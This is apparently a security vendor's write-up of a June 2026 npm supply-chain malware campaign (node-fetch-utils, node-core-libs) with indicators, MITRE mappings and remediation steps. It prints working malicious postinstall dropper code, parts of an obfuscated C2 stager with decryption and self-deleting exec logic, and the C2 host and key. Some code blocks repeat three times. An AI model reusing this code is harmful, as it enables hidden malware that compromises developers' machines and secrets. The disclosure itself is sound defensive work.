No headings found in content selector: .toc-content
Situation Update
Ossprey Security was able to get in touch with the affected C2 host, who were not affiliated with the threat-actors, in order to take down the C2, effectively de-activating the entire campaign. Affected packages were reported and have now been removed from NPMJS, the Github user and repositories still remain available at this time.
Ossprey discovered a coordinated npm supply-chain campaign active between June 21 and June 22, 2026, with us detecting one of the packages in under 1 minute of it's publication. The attacker slowly published nine versions of node-fetch-utils and two versions of node-core-libs across a 20 hour window. The attacker used a range of techniques to hide their path including pulling second stages from other locations including additional NPM packages and Github. While the attack is currently small in scope the attack used a range of sophisticated techniques include C2C servers to deploy additional traditional malware after compromise.
Who is Behind This?
The actor operated under GitHub login Hexa-devy and the emailgithub1234_1234@outlook.com, with limited further information. While the trade craft is similar to previous recent actions attributed to the DPRK, we are currently not willing to make this attribution at the moment.
Technical Breakdown
Stage 0: Package creation and cover story
Between June 20 and June 21, 2026, the actor created the GitHub account Hexa-devy and the npm account hexa.dev. Three GitHub repositories were pushed: node-fetch-core (the malicious vehicle), and two plausible decoys - requests-enhancer (a Python package) and netflow-utils (a Python network utility). On npm, node-fetch-utils was published with a comprehensive README, keyword-rich package.json, passing test stubs, MIT license, and a version increment cadence designed to signal active maintenance. The package name of one package was then updated to node-core-libs in an attempt to masquerade as a legitimate package.
// node-fetch-core/package.json (from GitHub repo - masquerades as node-core-libs){"name":"node-core-libs","version":"1.1.0","scripts":{"postinstall":"node scripts/postinstall.js","test":"echo \"Error: no test specified\" && exit 1"},"author":"Hexa-devy","license":"MIT","dependencies":{}}
// node-fetch-core/package.json (from GitHub repo - masquerades as node-core-libs){"name":"node-core-libs","version":"1.1.0","scripts":{"postinstall":"node scripts/postinstall.js","test":"echo \"Error: no test specified\" && exit 1"},"author":"Hexa-devy","license":"MIT","dependencies":{}}
// node-fetch-core/package.json (from GitHub repo - masquerades as node-core-libs){"name":"node-core-libs","version":"1.1.0","scripts":{"postinstall":"node scripts/postinstall.js","test":"echo \"Error: no test specified\" && exit 1"},"author":"Hexa-devy","license":"MIT","dependencies":{}}
Installing any of node-fetch-utils versions 1.2.1 through 1.2.7 (excluding 1.2.5) caused npm to fetch and install the actor's node-fetch-core repository from GitHub as a tarball. Because that repository's package.json declared postinstall: node scripts/postinstall.js, npm executed the hook automatically.
Within the postinstall.js script, obfuscated references to C2 hosts on node22[.]lunes[.]host, port 3258, and HMAC-SHA256 key changeme-spectre. If you are on a windows machine, it then performs the HMAC handshake, downloads the Node.js stager from /nl, writes it to %TEMP%\ms_<randhex>.js, and spawns it via a VBScript trampoline.
Once complete, the _tidy() function then rewrites the parent package's package-lock.json to remove evidence of the postinstall to cover its trail and then writes a .nfc_root marker for the Stage 2 lock-file patcher.
Stage 1b: Direct postinstall fetching from GitHub raw (v1.2.5)
We identified v1.2.5 as a short-lived experiment. The node-fetch-utilspackage.json itself listed postinstall: node scripts/postinstall.js, and the included script fetched a Node.js payload directly from raw.githubusercontent.com/Hexa-devy/node-fetch-core/master/scripts/configure.js over HTTPS. On a 200 response the script was written to %TEMP%\ms_<randhex>.js and spawned detached. This approach removed the need for a separate npm or GitHub dependency but introduced a dependency on GitHub availability and left a clear network indicator in the script. The actor published v1.2.6 just five minutes later, reverting to the GitHub-dep vector, suggesting this variant was quickly abandoned.
// node-fetch-utils/scripts/postinstall.js (v1.2.5 - direct raw.githubusercontent.com fetch, abandoned after 5 minutes)'use strict';if(process.platform!=='win32'){process.exit(0);}consth=require('https'),f=require('fs'),o=require('os'),p=require('path'),c=require('crypto'),sp=require('child_process');constreq=h.get({hostname:'raw.githubusercontent.com',path:'/Hexa-devy/node-fetch-core/master/scripts/configure.js',timeout:15000},res=>{if(res.statusCode!==200){process.exit(0);return;}constd=[];res.on('data',x=>d.push(x));res.on('end',()=>{constn=p.join(o.tmpdir(),`ms_${c.randomBytes(4).toString('hex')}.js`);f.writeFileSync(n,Buffer.concat(d));constch=sp.spawn('node',[n],{detached:true,stdio:'ignore',windowsHide:true});ch.unref();process.exit(0);});});req.on('error',()=>process.exit(0));req.on('timeout',()=>{req.destroy();process.exit(0);});
// node-fetch-utils/scripts/postinstall.js (v1.2.5 - direct raw.githubusercontent.com fetch, abandoned after 5 minutes)'use strict';if(process.platform!=='win32'){process.exit(0);}consth=require('https'),f=require('fs'),o=require('os'),p=require('path'),c=require('crypto'),sp=require('child_process');constreq=h.get({hostname:'raw.githubusercontent.com',path:'/Hexa-devy/node-fetch-core/master/scripts/configure.js',timeout:15000},res=>{if(res.statusCode!==200){process.exit(0);return;}constd=[];res.on('data',x=>d.push(x));res.on('end',()=>{constn=p.join(o.tmpdir(),`ms_${c.randomBytes(4).toString('hex')}.js`);f.writeFileSync(n,Buffer.concat(d));constch=sp.spawn('node',[n],{detached:true,stdio:'ignore',windowsHide:true});ch.unref();process.exit(0);});});req.on('error',()=>process.exit(0));req.on('timeout',()=>{req.destroy();process.exit(0);});
// node-fetch-utils/scripts/postinstall.js (v1.2.5 - direct raw.githubusercontent.com fetch, abandoned after 5 minutes)'use strict';if(process.platform!=='win32'){process.exit(0);}consth=require('https'),f=require('fs'),o=require('os'),p=require('path'),c=require('crypto'),sp=require('child_process');constreq=h.get({hostname:'raw.githubusercontent.com',path:'/Hexa-devy/node-fetch-core/master/scripts/configure.js',timeout:15000},res=>{if(res.statusCode!==200){process.exit(0);return;}constd=[];res.on('data',x=>d.push(x));res.on('end',()=>{constn=p.join(o.tmpdir(),`ms_${c.randomBytes(4).toString('hex')}.js`);f.writeFileSync(n,Buffer.concat(d));constch=sp.spawn('node',[n],{detached:true,stdio:'ignore',windowsHide:true});ch.unref();process.exit(0);});});req.on('error',()=>process.exit(0));req.on('timeout',()=>{req.destroy();process.exit(0);});
We traced the actor's final and most persistent vector to v1.2.8, which replaced the GitHub-URL dependency with a proper semver npm dependency on node-core-libs: ^1.0.0. The node-core-libs package presented a convincing facade: a proper README documenting buffer helpers, async primitives, and stream utilities, and a lib/ directory containing legitimate-looking utility code.
// node-core-libs/package.json (v1.0.0){"name":"node-core-libs","version":"1.0.0","scripts":{"test":"echo \"Error: no test specified\" && exit 1","postinstall":"node scripts/postinstall.js"},"dependencies":{}}// node-fetch-utils/package.json (v1.2.8 - pivot to npm dep){"name":"node-fetch-utils","version":"1.2.8","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"dependencies":{"node-core-libs":"^1.0.0"}}// node-fetch-utils/package.json (v1.3.0 - adds node-fetch as cover dep){"name":"node-fetch-utils","version":"1.3.0","dependencies":{"node-fetch":"^2.7.0","node-core-libs":"^1.0.0"}}
// node-core-libs/package.json (v1.0.0){"name":"node-core-libs","version":"1.0.0","scripts":{"test":"echo \"Error: no test specified\" && exit 1","postinstall":"node scripts/postinstall.js"},"dependencies":{}}// node-fetch-utils/package.json (v1.2.8 - pivot to npm dep){"name":"node-fetch-utils","version":"1.2.8","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"dependencies":{"node-core-libs":"^1.0.0"}}// node-fetch-utils/package.json (v1.3.0 - adds node-fetch as cover dep){"name":"node-fetch-utils","version":"1.3.0","dependencies":{"node-fetch":"^2.7.0","node-core-libs":"^1.0.0"}}
// node-core-libs/package.json (v1.0.0){"name":"node-core-libs","version":"1.0.0","scripts":{"test":"echo \"Error: no test specified\" && exit 1","postinstall":"node scripts/postinstall.js"},"dependencies":{}}// node-fetch-utils/package.json (v1.2.8 - pivot to npm dep){"name":"node-fetch-utils","version":"1.2.8","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"dependencies":{"node-core-libs":"^1.0.0"}}// node-fetch-utils/package.json (v1.3.0 - adds node-fetch as cover dep){"name":"node-fetch-utils","version":"1.3.0","dependencies":{"node-fetch":"^2.7.0","node-core-libs":"^1.0.0"}}
The Node.js stager (STAGE2.txt, fetched from /nl) implements the full delivery pipeline. It opens with an HMAC-SHA256 auth handshake then fetches the encrypted Python bytecode from /go?n=<nonce_hash>. Decryption uses a keystream of 128 SHA-256 blocks derived from sha256(key + nonce + [i]), XOR-applied byte-by-byte to the ciphertext. A thin Python launcher (mscf_<randhex>.py) is written to %TEMP%\msl_<randhex>.dat that reads and exec()s the decrypted source, then deletes both files.
// STAGE2.txt - node_launcher.js (fetched live from C2 /nl, sha256: 04b18b5c6d0f4e99f6aa2c4624bcb8d6384cb37bac2c95fc910fe52cd0803498)const_b=a=>Buffer.from(a.map(v=>v^0x5A));const_K=_b([0x39,0x32,0x3b,0x34,0x3d,0x3f,0x37,0x3f,0x77,0x29,0x2a,0x3f,0x39,0x2e,0x28,0x3f]);// _K decoded = 'changeme-spectre'function_tok(){constt=Math.floor(Date.now()/1000/300)*300;returncrypto.createHmac('sha256',_K).update(String(t)).digest('hex').slice(0,16);}function_ks(nonce){constb=[];for(leti=0;i<128;i++){consth=crypto.createHash('sha256');h.update(_K);h.update(nonce);h.update(Buffer.from([i]));b.push(h.digest());}returnBuffer.concat(b);}asyncfunction_getLauncher(){constnonce=await_get('/sync?v='+_tok());constnh=crypto.createHash('sha256').update(_K).update(nonce).digest('hex').slice(0,16);constenc=await_get('/go?n='+nh);constks=_ks(nonce);constdec=Buffer.from(enc.map((b,i)=>b^ks[i]));constdat=path.join(os.tmpdir(),`msl_${crypto.randomBytes(6).toString('hex')}.dat`);fs.writeFileSync(dat,dec);returndat;}function_writePyRunner(pyExe,dat){constlp=path.join(os.tmpdir(),`mscf_${crypto.randomBytes(4).toString('hex')}.py`);constdd=dat.replace(/\\/g,'\\\\');fs.writeFileSync(lp,`import os\n_d=r'${dd}'\n_m=__file__\n`+
`_src=open(_d,'rb').read().decode('utf-8')\nos.remove(_d)\n`+
`try:os.remove(_m)\nexcept:pass\nexec(compile(_src,'<l>','exec'),{'__name__':'__main__'})\n`);returnlp;}
// STAGE2.txt - node_launcher.js (fetched live from C2 /nl, sha256: 04b18b5c6d0f4e99f6aa2c4624bcb8d6384cb37bac2c95fc910fe52cd0803498)const_b=a=>Buffer.from(a.map(v=>v^0x5A));const_K=_b([0x39,0x32,0x3b,0x34,0x3d,0x3f,0x37,0x3f,0x77,0x29,0x2a,0x3f,0x39,0x2e,0x28,0x3f]);// _K decoded = 'changeme-spectre'function_tok(){constt=Math.floor(Date.now()/1000/300)*300;returncrypto.createHmac('sha256',_K).update(String(t)).digest('hex').slice(0,16);}function_ks(nonce){constb=[];for(leti=0;i<128;i++){consth=crypto.createHash('sha256');h.update(_K);h.update(nonce);h.update(Buffer.from([i]));b.push(h.digest());}returnBuffer.concat(b);}asyncfunction_getLauncher(){constnonce=await_get('/sync?v='+_tok());constnh=crypto.createHash('sha256').update(_K).update(nonce).digest('hex').slice(0,16);constenc=await_get('/go?n='+nh);constks=_ks(nonce);constdec=Buffer.from(enc.map((b,i)=>b^ks[i]));constdat=path.join(os.tmpdir(),`msl_${crypto.randomBytes(6).toString('hex')}.dat`);fs.writeFileSync(dat,dec);returndat;}function_writePyRunner(pyExe,dat){constlp=path.join(os.tmpdir(),`mscf_${crypto.randomBytes(4).toString('hex')}.py`);constdd=dat.replace(/\\/g,'\\\\');fs.writeFileSync(lp,`import os\n_d=r'${dd}'\n_m=__file__\n`+
`_src=open(_d,'rb').read().decode('utf-8')\nos.remove(_d)\n`+
`try:os.remove(_m)\nexcept:pass\nexec(compile(_src,'<l>','exec'),{'__name__':'__main__'})\n`);returnlp;}
// STAGE2.txt - node_launcher.js (fetched live from C2 /nl, sha256: 04b18b5c6d0f4e99f6aa2c4624bcb8d6384cb37bac2c95fc910fe52cd0803498)const_b=a=>Buffer.from(a.map(v=>v^0x5A));const_K=_b([0x39,0x32,0x3b,0x34,0x3d,0x3f,0x37,0x3f,0x77,0x29,0x2a,0x3f,0x39,0x2e,0x28,0x3f]);// _K decoded = 'changeme-spectre'function_tok(){constt=Math.floor(Date.now()/1000/300)*300;returncrypto.createHmac('sha256',_K).update(String(t)).digest('hex').slice(0,16);}function_ks(nonce){constb=[];for(leti=0;i<128;i++){consth=crypto.createHash('sha256');h.update(_K);h.update(nonce);h.update(Buffer.from([i]));b.push(h.digest());}returnBuffer.concat(b);}asyncfunction_getLauncher(){constnonce=await_get('/sync?v='+_tok());constnh=crypto.createHash('sha256').update(_K).update(nonce).digest('hex').slice(0,16);constenc=await_get('/go?n='+nh);constks=_ks(nonce);constdec=Buffer.from(enc.map((b,i)=>b^ks[i]));constdat=path.join(os.tmpdir(),`msl_${crypto.randomBytes(6).toString('hex')}.dat`);fs.writeFileSync(dat,dec);returndat;}function_writePyRunner(pyExe,dat){constlp=path.join(os.tmpdir(),`mscf_${crypto.randomBytes(4).toString('hex')}.py`);constdd=dat.replace(/\\/g,'\\\\');fs.writeFileSync(lp,`import os\n_d=r'${dd}'\n_m=__file__\n`+
`_src=open(_d,'rb').read().decode('utf-8')\nos.remove(_d)\n`+
`try:os.remove(_m)\nexcept:pass\nexec(compile(_src,'<l>','exec'),{'__name__':'__main__'})\n`);returnlp;}
Stage 3: Python runtime installation, VBScript spawn, and evidence erasure
This stager would then install a bundled Python runtime at %LOCALAPPDATA%\Microsoft\EdgeBroker\pythonw.exe. If absent, it downloads a Python runtime archive from /py, extracts it in the same directory. The Python launcher is then invoked via a self-deleting VBScript (_spawnHidden), which calls wscript.exe //B //nologo with the script hidden from the taskbar. Finally, _patchLock() runs, removing hasInstallScript from all lock file entries, and the stager self-deletes via fs.unlinkSync(__filename).
There are a few tasks you should do if you believe you might be impacted by this attack.
Remove node-fetch-utils and node-core-libs from all projects immediately and delete node_modules/; treat any system where these packages were installed as potentially compromised.
Block outbound connections to node22[.]lunes[.]host on port 3258 at the network perimeter and in endpoint firewall rules.
Inspect %LOCALAPPDATA%\Microsoft\EdgeBroker\ on all Windows developer machines and CI agents for pythonw.exe or rt.zip; delete if present and collect for forensic analysis.
Search %TEMP% for files matching ms_*.js, mv_*.vbs, msvc_*.vbs, msl_*.dat, mscf_*.py, and .nfc_root; delete and retain copies for incident investigation.
Rotate all secrets accessible from affected machines: npm publish tokens, GitHub Personal Access Tokens, CI/CD pipeline secrets, cloud provider credentials, and SSH keys.
Verify package-lock.json integrity by comparing it against a trusted snapshot; a legitimate lockfile should preserve hasInstallScript: true for any package that declares a postinstall script.
Audit npm dependencies for GitHub-URL entries (https://github.com/...) in package.json; these bypass npm registry integrity checks and should be replaced with pinned registry versions.
Apply npm audit signatures and enforce lockfile-based installs (npm ci) in CI/CD pipelines to prevent resolution of unpinned or URL-sourced dependencies.
NPM_TOKEN, GITHUB_TOKEN, and other CI/CD secrets present in the process environment (accessible to any postinstall hook running during npm install)
Credential exposure beyond the process environment is unknown - the third-stage Python payload was not recovered; treat all secrets on affected hosts as compromised
Malicious postinstall hooks delivered via npm packages and a GitHub-URL dependency that bypasses registry integrity controls.
T1059.007
JavaScript
All postinstall hooks and the Stage 2 stager are JavaScript executed by Node.js.
T1059.005
Visual Basic
VBScript trampolines (wscript.exe //B //nologo) spawn the Python process hidden and detached from the npm job object.
T1027
Obfuscated Files or Information
C2 host, port, and HMAC key stored as XOR-encoded byte arrays; Python payload delivered XOR-encrypted via SHA-256 keystream.
T1070.004
Indicator Removal: File Deletion
_patchLock() strips hasInstallScript from lockfiles; postinstall scripts and all temp files self-delete after execution.
T1071.001
Application Layer Protocol: Web Protocols
C2 communication uses plain HTTP to node22[.]lunes[.]host:3258 with HMAC token authentication.
T1036.005
Masquerading: Match Legitimate Name or Location
Python runtime planted at %LOCALAPPDATA%\Microsoft\EdgeBroker\pythonw.exe mimics a Microsoft Edge component.
A Note from Ossprey
Ossprey's threat-hunting pipeline flagged node-fetch-utils@1.2.1 in under 1 minute of its publication to NPM. Using Ossprey, our threat hunters were then able to identify the git repo and further details of the attack detailed in this article despite the attackers attempt to avoid scrutiny.
Book a demo to see how Ossprey detects campaigns like this within minutes of registry publication.
Frequently Asked Questions
Was my project affected if I installed node-fetch-utils? All versions 1.2.1 through 1.3.0 are malicious. If any ran npm install on a Windows machine, treat it as potentially compromised. Non-Windows installs exit the hook immediately - the dropper checks process.platform !== 'win32' and does nothing on Linux or macOS.
What does the Python payload do? The third-stage Python bytecode was not recovered from the C2 server. Its capabilities are unknown. The infrastructure - HMAC authentication, custom encrypted channel, Python runtime installed in a persistent path - is consistent with a full-featured RAT or credential stealer.
Why does my package-lock.json look clean? The dropper actively rewrites both package-lock.json and node_modules/.package-lock.json to strip hasInstallScript entries, covering its tracks. A clean lockfile is not evidence of a clean install - check for the packages by name, not by lockfile inspection.
How does Ossprey detect this class of attack? Ossprey flagged node-fetch-utils@1.2.1 within 5 seconds of its publication at 22:12 UTC on 21 June 2026. The signals were the GitHub-URL dependency pointing to a freshly created actor-controlled repository combined with XOR byte-array obfuscation of the C2 host and HMAC key in the postinstall script. Both patterns - live GitHub-URL deps from new accounts and XOR-encoded network constants in postinstall hooks - are explicitly modelled in Ossprey's static analysis pipeline.
SHARE
Subscribe Now.
Subscribe Now.
Subscribe Now.
Ossprey helps you understand what code is trying to do, before you trust it.
Ossprey helps you understand what code is trying to do, before you trust it.